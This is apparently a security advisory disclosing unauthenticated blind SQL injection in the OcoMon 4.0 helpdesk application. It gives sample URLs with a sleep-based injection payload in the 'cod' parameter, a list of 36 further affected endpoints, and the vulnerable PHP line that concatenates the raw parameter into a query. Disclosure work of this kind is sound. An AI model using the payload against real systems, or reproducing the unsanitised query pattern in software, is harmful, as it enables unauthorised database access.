/OcoMon - Blind SQL Injection.txt Secret
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October 13, 2022 23:54
OcoMon 4.0 - Blind SQL Injection
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Descriptions | |
During the internal research I found two Unauthenticated Blind SQL Injection on OcoMon HelpDesk application. | |
Mitre Reference | |
CVE-2022-41390 and CVE-2022-41391. | |
Vulnerability | |
The vulnerability was exploited using the burpsuite and sqlmap tool: | |
* Sample url: http://target:8000/ocomon-4.0RC1/includes/functions/download.php?file=3134&cod=(select*from(select(sleep(40))a) | |
* Sample url: http://target:8000/ocomon-4.0RC1/includes/functions/showImg.php?file=3134&cod=(select*from(select(sleep(40))a) | |
* Vulnerable parameters: cod | |
* Type: blind sql injection | |
More Information | |
Is possible exploided this same vulnerability in other 36 endpoints: | |
ocomon/geral/showSelLocais.php | |
ocomon/geral/ticket_history.php | |
ocomon/geral/lendings.php: | |
admin/geral/rectories.php | |
admin/geral/units.php | |
admin/geral/mail_templates.php | |
admin/geral/appsRegistered.php | |
admin/geral/response_levels.php | |
admin/geral/tags.php | |
admin/geral/cat_prob3.php | |
admin/geral/messages_settings.php | |
admin/geral/cat_prob1.php | |
admin/geral/cost_centers.php | |
admin/geral/cat_prob2.php | |
admin/geral/buildings.php | |
admin/geral/status.php | |
admin/geral/domains.php | |
admin/geral/tokens.php | |
admin/geral/holidays.php | |
admin/geral/responsibility_statements.php | |
admin/geral/priorities.php: | |
admin/geral/screenprofiles.php: | |
admin/geral/mail_distribution_lists.php: | |
admin/geral/scripts_documentation.php: | |
admin/geral/departments.php: | |
invmon/geral/type_of_components.php: | |
invmon/geral/sw_softwares.php: | |
invmon/geral/sw_categories.php: | |
invmon/geral/equipments_models.php: | |
invmon/geral/warranty_times.php: | |
invmon/geral/documents.php: | |
invmon/geral/suppliers.php: | |
invmon/geral/type_of_equipments.php: | |
invmon/geral/sw_default.php: | |
invmon/geral/manufacturers.php: | |
invmon/geral/sw_licenses_types.php | |
Short code description | |
The vulnerabily happens because the code dont have sanatization in 'cod' paramenter then is possible to do the injection malicious code. | |
Example code: | |
if (isset($_GET['cod'])) { | |
$query .= "WHERE dom_cod = ".$_GET['cod']." | |
Vendor notification | |
https://ocomonphp.sourceforge.io/downloads/ | |
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